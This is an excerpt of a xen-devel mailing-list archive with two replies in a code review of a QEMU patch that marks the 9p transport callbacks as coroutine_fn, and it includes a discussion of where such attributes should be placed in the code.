Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784620744;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=lX2v55AGr51x0YaynLTMtlaht0Z2HEPzcmY3IeqlbTk=;
	b=fYu6XDG/d2NNqYlzxVK/DZGfB6qc/C/utZ6hg3o0F5p5uv/XXa8VLOtxa9EZnYgvaFABBE
	69Rc99u8tkxL0mJg81OYr6B5S2mrIvw2vhICJj+3tDAwi4IQPBch0vfGOmUO9Gv8LUoOxB
	SdYoqvFiKpwJqg999baNmPON5NnuylI=
X-MC-Unique: VzjbOMH9MgKWqgM2KHrssQ-1
X-Mimecast-MFC-AGG-ID: VzjbOMH9MgKWqgM2KHrssQ_1784620742
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784620742; x=1785225542;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=lX2v55AGr51x0YaynLTMtlaht0Z2HEPzcmY3IeqlbTk=;
        b=Tl35AQfp7MeO4po9W4X3Wjmb1Db7iPO2Lts7XDq5bRboP2X4HYc5vixfwRvwYzSXhd
         Fg9GoRaGC8UPFm35oOgx/aGemMBekZCfeiQCQdpwrq/wpxbsqXQll3M9xAkXMf1fRy9B
         9GKCMPNrTt+7KsHz1LI8eDyyN68cw80qit6IpJ1+r37p+mk2oGVekMze5UpFGgRfifyc
         OAhNid54ZViJYj4UnTNzlg9ophBuV3/YV5UyJngOQyppXn8EQNWK2SranYIphJ9P3TU3
         8rp6mIVs2aV8+kJgJ4aesoq3VXQ3l2rzE8V+JrjDVpoF/1lCs3aduPy1eVt2vL1U4zHb
         wZQA==
X-Forwarded-Encrypted: i=1; AHgh+RqmZrMyEa06ZoLb8vaWGGD22QFiDdBMdecKEZDBuLXfc4LGHxCWkcdRcR68Gs5PA6hgCiilhwsFWPM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzARdjM3B9W2f+9oMqkmb5gQCWbblZyluSEAAR+IGdD5Rz/D5M4
	uLHfaMvMnGZ0m3UyAirjaeyaRYE/eCz6dL20eFTv6OMnWGjDjRvaeZU39qxBHoNoqyeogRRcSsg
	LTqscqVaT0kvWOaHDzTMtB5X18r+LcqkEkSEGXNtXifC3rrAUlQH0DYVrL9XwIJCVhw0qz9GXev
	uNk49I5bpAfvQ32iqhBJZZGI7/ZGzjxoG3GjL3pkQN0S8=
X-Gm-Gg: AR+sD12tLXQZtHGo4xJQGKIlozVHuFHFAdpDf5jJA8abxrDKuDL46aYtOgKJqvvLN7D
	iErfco4+HATB2gawEExr2VtCt31D26hGJtIUr9s5WWvxjRUit/94Uu7dwdgiG2JCAXbgvN6n592
	X/IMNQa3YU0xTkaI3uy1+0mbVPctM3PAZ8b9glUgNpLszRALqemlVhpDXqJZrbtVxrEAkT4N8H4
	jIZubK4a70A2E8wSSJy8QRLvAXSeRu7P/AhZQ7ktscE6ELXJeYIGHafTdwVxt0LCk2vFpqr/pnT
	mA==
X-Received: by 2002:a17:903:26c6:b0:2cc:864b:539 with SMTP id d9443c01a7336-2cf34819447mr189668165ad.6.1784620741788;
        Tue, 21 Jul 2026 00:59:01 -0700 (PDT)
X-Received: by 2002:a17:903:26c6:b0:2cc:864b:539 with SMTP id
 d9443c01a7336-2cf34819447mr189667725ad.6.1784620741041; Tue, 21 Jul 2026
 00:59:01 -0700 (PDT)
MIME-Version: 1.0
References: <20260720-co-v1-0-fabb4db3c204@redhat.com> <20260720-co-v1-7-fabb4db3c204@redhat.com>
 <7970030.EvYhyI6sBW@weasel> <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
 <5af0aaf1-d372-4800-9f6f-8f5dacd8c69e@oss.qualcomm.com>
In-Reply-To: <5af0aaf1-d372-4800-9f6f-8f5dacd8c69e@oss.qualcomm.com>
From: =?UTF-8?B?TWFyYy1BbmRyw6kgTHVyZWF1?= <marcandre.lureau@redhat.com>
Date: Tue, 21 Jul 2026 11:58:49 +0400
X-Gm-Features: AUfX_mwkaLQEM0pLlT2VIiuWIGldOYBZqIvCk6ao2O3sK_TvcA9Cj7tuBTxYDnE
Message-ID: <CAMxuvaxREAH4K45UYeC6PK5fnYXTZW9nitRApMdtaxOC6rPDow@mail.gmail.com>
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
To: =?UTF-8?Q?Philippe_Mathieu=2DDaud=C3=A9?= <philmd@oss.qualcomm.com>
Cc: Christian Schoenebeck <qemu_oss@crudebyte.com>, qemu-devel@nongnu.org, 
	Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>, 
	=?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
	John Snow <jsnow@redhat.com>, Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org, 
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Anthony PERARD <anthony@xenproject.org>, 
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>, xen-devel@lists.xenproject.org, 
	Li Zhijian <lizhijian@fujitsu.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: D7-gP3jh8rMnuaYhjHDCQAxe_yrVkG2b-tA3XTA4bzI_1784620742
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-42698a/1784620746-AB8D19EA-AE0DA44F/0/0
X-purgate-type: clean
X-purgate-size: 5282

Hi

On Tue, Jul 21, 2026 at 12:54=E2=80=AFAM Philippe Mathieu-Daud=C3=A9
<philmd@oss.qualcomm.com> wrote:
>
> On 20/7/26 22:42, Philippe Mathieu-Daud=C3=83=C2=A9 wrote:
> > On 20/7/26 16:02, Christian Schoenebeck wrote:
> >> On Monday, 20 July 2026 09:55:36 CEST Marc-Andr=C3=A9 Lureau wrote:
> >>> All V9fsTransport callbacks are invoked exclusively from coroutine
> >>> context (the v9fs_* PDU handlers). Annotate the function pointer
> >>> types in V9fsTransport and all implementations (virtio and xen
> >>> backends), as well as intermediate callers in 9p.c (pdu_marshal,
> >>> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
> >>>
> >>> Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
> >>> ---
> >>>   hw/9pfs/9p.h               | 26 +++++++++++++++-----------
> >>>   hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
> >>>   hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
> >>>   hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
> >>>   4 files changed, 64 insertions(+), 51 deletions(-)
> >>>
> >>> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
> >>> index 1a309664f6e..0e52ffbdf38 100644
> >>> --- a/hw/9pfs/9p.h
> >>> +++ b/hw/9pfs/9p.h
> >>> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr)=
;
> >>>   void v9fs_reset(V9fsState *s);
> >>>
> >>>
> >>>   struct V9fsTransport {
> >>> -    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const
> >>> char *fmt,
> >>> -                                va_list ap);
> >>> -    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const
> >>> char *fmt,
> >>> -                                  va_list ap);
> >>> -    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec
> >>> **piov,
> >>> -                                        unsigned int *pniov, size_t
> >>> size);
> >>> -    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec
> >>> **piov,
> >>> -                                         unsigned int *pniov, size_t
> >>> size);
> >>> -    void        (*push_and_notify)(V9fsPDU *pdu);
> >>> -    size_t      (*msize_limit)(V9fsState *s);
> >>> -    size_t      (*response_buffer_size)(V9fsPDU *pdu);
> >>> +    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t
> >>> offset,
> >>> +                                             const char *fmt,
> >>> va_list ap);
> >>> +    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t
> >>> offset,
> >>> +                                               const char *fmt,
> >>> va_list ap);
> >>> +    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
> >>> +                                                     struct iovec
> >>> **piov,
> >>> +                                                     unsigned int
> >>> *pniov,
> >>> +                                                     size_t size);
> >>> +    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
> >>> +                                                      struct iovec
> >>> **piov,
> >>> +                                                      unsigned int
> >>> *pniov,
> >>> +                                                      size_t size);
> >>> +    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
> >>> +    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
> >>> +    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
> >>>   };
> >>
> >> I wonder whether that could be made more diff/blame-friendly.
> >> Especially as
> >> this currently only serves documentation purposes.
> >>
> >> They way you are positioning coroutine_fn it usually resolves to an
> >> attribute
> >> attached to the function's return type, not to the function itself, ev=
en
> >> though clang/gcc handling it flexible. For attaching an attribute to t=
he
> >> function itself the attribute should either be attached before the
> >> function
> >> declaration or after the function declaration.
> >
> > I tend to aggree it would be clearer to have these attributes /before/
> > the function prototype declaration.
>
> $ git grep -E '^(static )?coroutine_(mixed_)?fn' | wc -l
>        90

More like
$  git grep -rnE '\b(coroutine_fn|co_wrapper[a-z_]*)\b' | wc -l
1343

most of them are "return-type co_annotation fn(..)"
we even have scripts/block-coroutine-wrapper.py that relies and
produce this order..
a bit late to change the style imho...

At least, let's not make this a requirement for this series, please

>> block/block-copy.c:47:static coroutine_fn int
> block_copy_task_entry(AioTask *task);
> block/copy-before-write.c:106:static coroutine_fn int
> cbw_do_copy_before_write(BlockDriverState *bs,
> block/nvme.c:1351:static coroutine_fn int nvme_co_flush(BlockDriverState
> *bs)
> block/ssh.c:1223:static coroutine_fn int ssh_flush(BDRVSSHState *s,
> BlockDriverState *bs)
> nbd/server.c:3077:static coroutine_fn void nbd_trip(void *opaque)
> block/block-copy.c:581:static coroutine_fn int
> block_copy_task_entry(AioTask *task)
> ...
>
> >
> >> In both cases you could then
> >> add it to its own, separate line, avoiding a lot of noise.
> >>
> >> /Christian
> >>
> >>
> >>
> >>
> >
> >
>



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:06:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:06:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367580.1617312 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Uk-0003EV-W1; Tue, 21 Jul 2026 08:06:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367580.1617312; Tue, 21 Jul 2026 08:06:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Uk-0003EO-Ry; Tue, 21 Jul 2026 08:06:30 +0000
Received: by outflank-mailman (input) for mailman id 1367580;
 Tue, 21 Jul 2026 08:06:30 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mlureau@redhat.com>) id 1wm5Uj-0003EI-U3
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:06:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Uj-008qew-2d
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:06:29 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f2878-e002-0a2a0a5209dd-0a2a4503d79c-32
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:06:28 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f287f-fae8-0a2a45030019-aa0a857cb1c9-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:06:27 +0200
Received: from mail-pl1-f198.google.com (mail-pl1-f198.google.com
 [209.85.214.198]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-632-r4nmNiJcPNCH-m9c8fsSmQ-1; Tue, 21 Jul 2026 04:06:18 -0400
Received: by mail-pl1-f198.google.com with SMTP id
 d9443c01a7336-2cacf17c7e0so110305755ad.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 01:06:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784621183;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=MFJkTceATNhlEeBNPmDXU/6gPzuVSzu7MUPB+fQ2clM=;
	b=iC+QDanx+4GkCV27X3xHF7dlHLrbRK6ek7SHrjuecylpIFLAlFMJJIVNIaPkYiiFSTsWc2
	DNoPvsCjv/LNgJnTiexcdjvP7mBWx7T+6zIAuiFhPoWPpdGYuWK4E8BMbz2FghSdpJQ3Bb
	Dfsi0x1lDXC3SNgO8+nniA9awaJnJ6s=
X-MC-Unique: r4nmNiJcPNCH-m9c8fsSmQ-1
X-Mimecast-MFC-AGG-ID: r4nmNiJcPNCH-m9c8fsSmQ_1784621175
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784621175; x=1785225975;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=MFJkTceATNhlEeBNPmDXU/6gPzuVSzu7MUPB+fQ2clM=;
        b=S3tnCJmc4zdF+G2SgN0y1NGK/WZNnARaiT/ZrdO7p5Nq8SQpqA9A95kd67a33GljsO
         pFit2BGrknjMwyfj9eOEuYVTBLyDTcizPtTjznBlb69WSOSxJGVpuct6x4XbkE5jsBuX
         6QA2CAmG/0MolMB8UAfzNm8Mc6jsWYmUdyfRCkhpilY/Dz5p8WnP1A/mUd/+T7Utd6x0
         p7uZ/BKek+ZGjv9R42owRSFwPY54aD+0Lk5OQWApm2lPKwPdWsqaczvh+m1ghaJvao4+
         hh2QeUsAwZz7fhX1Zwdb4eHjTid1frjjAeOiVSwkWG7Vi+zGkj1yRGeVsMzy9qSWdMzC
         2kLw==
X-Forwarded-Encrypted: i=1; AHgh+RoeaLzfOkb+XOF/x/6Fbb477zL0CP3RZTe52GE+B1gfjCyhjnl2Koajna2pjjkTA6PrKXl7DNpL9ts=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzPOJHLRK0aTPXQSh4HdYEh5GHA6KyP6pUseuThs2feKQRWlKzW
	+hAeFKyvgS6yQi6F+EH/BXsUKfnpdfPQ5F6DnEVbUlA98yJnbEPmIgiwmz/gEA8N+7FU4QF9a9T
	xk16erPHH0odcpOfS7VxFCSo0gw3x/yAzLOFo2f01g1ZO5DBNum+gaKZL2Ec5aU/phNbcHxRycz
	MFa4cdvkMWh3Q4oMYKI2VBkvIagVLp5CocQ5lpKOCLsHI=
X-Gm-Gg: AR+sD10arr6/9WdVG8enldBkN2qJ5FWZd9v0QprvY8PZsrhqJkWQB4PYAsK4n4kOIqs
	PL66C2QVpDBOJyvwdDSVwj/FhQ1Y7+Sv/K/NgRmNT/uhvrslqP1RCZ/jux+Fm+LWu4b57nav2D3
	Y9sIJ6C5/yhL2j+3tdkmUJ0NZKgEC81j3xS04XiywKvtj1ngYIkd2iV+LnZvYBo3xr4Zq13C3Ng
	QtOoabivUL8oUPQrsbYWgrkqDKeODuQ06SqiOQHhbXESeDZT+UGiIXQ4NAmtfdeyqPN+UrSsdGB
	YA==
X-Received: by 2002:a17:903:240e:b0:2c9:97a7:f540 with SMTP id d9443c01a7336-2cf349fe337mr199883455ad.38.1784621175014;
        Tue, 21 Jul 2026 01:06:15 -0700 (PDT)
X-Received: by 2002:a17:903:240e:b0:2c9:97a7:f540 with SMTP id
 d9443c01a7336-2cf349fe337mr199882915ad.38.1784621174504; Tue, 21 Jul 2026
 01:06:14 -0700 (PDT)
MIME-Version: 1.0
References: <20260720-co-v1-0-fabb4db3c204@redhat.com> <20260720-co-v1-7-fabb4db3c204@redhat.com>
 <7970030.EvYhyI6sBW@weasel> <7790107e-1256-4ed8-ba49-cab980197938@oss.qualcomm.com>
 <5af0aaf1-d372-4800-9f6f-8f5dacd8c69e@oss.qualcomm.com> <CAMxuvaxREAH4K45UYeC6PK5fnYXTZW9nitRApMdtaxOC6rPDow@mail.gmail.com>
In-Reply-To: <CAMxuvaxREAH4K45UYeC6PK5fnYXTZW9nitRApMdtaxOC6rPDow@mail.gmail.com>
From: =?UTF-8?B?TWFyYy1BbmRyw6kgTHVyZWF1?= <marcandre.lureau@redhat.com>
Date: Tue, 21 Jul 2026 12:06:03 +0400
X-Gm-Features: AUfX_myozeXoOdlqc3QvGx1Q5TVqdta-D4KlWqih7qFuon5PGsySMNcqHkMbr2o
Message-ID: <CAMxuvaySONs4r=1Bmsao1f1cZdviGGwPVM8+1Q+1vdY0X-pYVw@mail.gmail.com>
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
To: =?UTF-8?Q?Philippe_Mathieu=2DDaud=C3=A9?= <philmd@oss.qualcomm.com>
Cc: Christian Schoenebeck <qemu_oss@crudebyte.com>, qemu-devel@nongnu.org, 
	Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>, 
	=?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
	John Snow <jsnow@redhat.com>, Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org, 
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Anthony PERARD <anthony@xenproject.org>, 
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>, xen-devel@lists.xenproject.org, 
	Li Zhijian <lizhijian@fujitsu.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: HAVJ-COYsU4dZ09bUmTjhb0y9jo__aZiwNTET1EX-ZU_1784621175
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-33051d/1784621187-77AF14E9-2FFA6114/0/0
X-purgate-type: clean
X-purgate-size: 5815

Hi

On Tue, Jul 21, 2026 at 11:58=E2=80=AFAM Marc-Andr=C3=A9 Lureau
<marcandre.lureau@redhat.com> wrote:
>
> Hi
>
> On Tue, Jul 21, 2026 at 12:54=E2=80=AFAM Philippe Mathieu-Daud=C3=A9
> <philmd@oss.qualcomm.com> wrote:
> >
> > On 20/7/26 22:42, Philippe Mathieu-Daud=C3=83=C2=A9 wrote:
> > > On 20/7/26 16:02, Christian Schoenebeck wrote:
> > >> On Monday, 20 July 2026 09:55:36 CEST Marc-Andr=C3=A9 Lureau wrote:
> > >>> All V9fsTransport callbacks are invoked exclusively from coroutine
> > >>> context (the v9fs_* PDU handlers). Annotate the function pointer
> > >>> types in V9fsTransport and all implementations (virtio and xen
> > >>> backends), as well as intermediate callers in 9p.c (pdu_marshal,
> > >>> pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).
> > >>>
> > >>> Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
> > >>> ---
> > >>>   hw/9pfs/9p.h               | 26 +++++++++++++++-----------
> > >>>   hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
> > >>>   hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
> > >>>   hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++----------------=
-
> > >>>   4 files changed, 64 insertions(+), 51 deletions(-)
> > >>>
> > >>> diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
> > >>> index 1a309664f6e..0e52ffbdf38 100644
> > >>> --- a/hw/9pfs/9p.h
> > >>> +++ b/hw/9pfs/9p.h
> > >>> @@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hd=
r);
> > >>>   void v9fs_reset(V9fsState *s);
> > >>>
> > >>>
> > >>>   struct V9fsTransport {
> > >>> -    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const
> > >>> char *fmt,
> > >>> -                                va_list ap);
> > >>> -    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, con=
st
> > >>> char *fmt,
> > >>> -                                  va_list ap);
> > >>> -    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec
> > >>> **piov,
> > >>> -                                        unsigned int *pniov, size_=
t
> > >>> size);
> > >>> -    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iove=
c
> > >>> **piov,
> > >>> -                                         unsigned int *pniov, size=
_t
> > >>> size);
> > >>> -    void        (*push_and_notify)(V9fsPDU *pdu);
> > >>> -    size_t      (*msize_limit)(V9fsState *s);
> > >>> -    size_t      (*response_buffer_size)(V9fsPDU *pdu);
> > >>> +    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t
> > >>> offset,
> > >>> +                                             const char *fmt,
> > >>> va_list ap);
> > >>> +    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_=
t
> > >>> offset,
> > >>> +                                               const char *fmt,
> > >>> va_list ap);
> > >>> +    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
> > >>> +                                                     struct iovec
> > >>> **piov,
> > >>> +                                                     unsigned int
> > >>> *pniov,
> > >>> +                                                     size_t size);
> > >>> +    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu=
,
> > >>> +                                                      struct iovec
> > >>> **piov,
> > >>> +                                                      unsigned int
> > >>> *pniov,
> > >>> +                                                      size_t size)=
;
> > >>> +    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
> > >>> +    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
> > >>> +    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu)=
;
> > >>>   };
> > >>
> > >> I wonder whether that could be made more diff/blame-friendly.
> > >> Especially as
> > >> this currently only serves documentation purposes.
> > >>
> > >> They way you are positioning coroutine_fn it usually resolves to an
> > >> attribute
> > >> attached to the function's return type, not to the function itself, =
even
> > >> though clang/gcc handling it flexible. For attaching an attribute to=
 the
> > >> function itself the attribute should either be attached before the
> > >> function
> > >> declaration or after the function declaration.
> > >
> > > I tend to aggree it would be clearer to have these attributes /before=
/
> > > the function prototype declaration.
> >
> > $ git grep -E '^(static )?coroutine_(mixed_)?fn' | wc -l
> >        90
>
> More like
> $  git grep -rnE '\b(coroutine_fn|co_wrapper[a-z_]*)\b' | wc -l
> 1343
>

That matching is not accurate, it's actually hard enough to match all
annotations instances.. but this should be a rough estimation.

> most of them are "return-type co_annotation fn(..)"
> we even have scripts/block-coroutine-wrapper.py that relies and
> produce this order..
> a bit late to change the style imho...
>
> At least, let's not make this a requirement for this series, please
>
> >> block/block-copy.c:47:static coroutine_fn int
> > block_copy_task_entry(AioTask *task);
> > block/copy-before-write.c:106:static coroutine_fn int
> > cbw_do_copy_before_write(BlockDriverState *bs,
> > block/nvme.c:1351:static coroutine_fn int nvme_co_flush(BlockDriverStat=
e
> > *bs)
> > block/ssh.c:1223:static coroutine_fn int ssh_flush(BDRVSSHState *s,
> > BlockDriverState *bs)
> > nbd/server.c:3077:static coroutine_fn void nbd_trip(void *opaque)
> > block/block-copy.c:581:static coroutine_fn int
> > block_copy_task_entry(AioTask *task)
> > ...
> >
> > >
> > >> In both cases you could then
> > >> add it to its own, separate line, avoiding a lot of noise.
> > >>
> > >> /Christian
> > >>
> > >>
> > >>
> > >>
> > >
> > >
> >



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:20:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:20:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367593.1617321 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5ie-0000xp-7G; Tue, 21 Jul 2026 08:20:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367593.1617321; Tue, 21 Jul 2026 08:20:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5ie-0000xi-2d; Tue, 21 Jul 2026 08:20:52 +0000
Received: by outflank-mailman (input) for mailman id 1367593;
 Tue, 21 Jul 2026 08:20:51 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@swg.vates.tech>)
 id 1wm5ic-0000xW-IH
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:20:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5ib-00BqCc-VP
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:20:49 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@swg.vates.tech>)
 id 6a5f2bd5-2eae-0a2a0a5409dd-0a2a450cb358-20
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:20:49 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f83c35cd4000edb5@swg.vates.tech>)
 id 6a5f2be1-f479-0a2a450c0019-b9ff1c129cdf-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:20:49 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f83c35cd4000edb5.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 21 Jul 2026 08:20:46 +0000
Received: from [192.168.1.18] (88-188-240-210.subs.proxad.net [88.188.240.210])
 (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id 9F84981BAC;
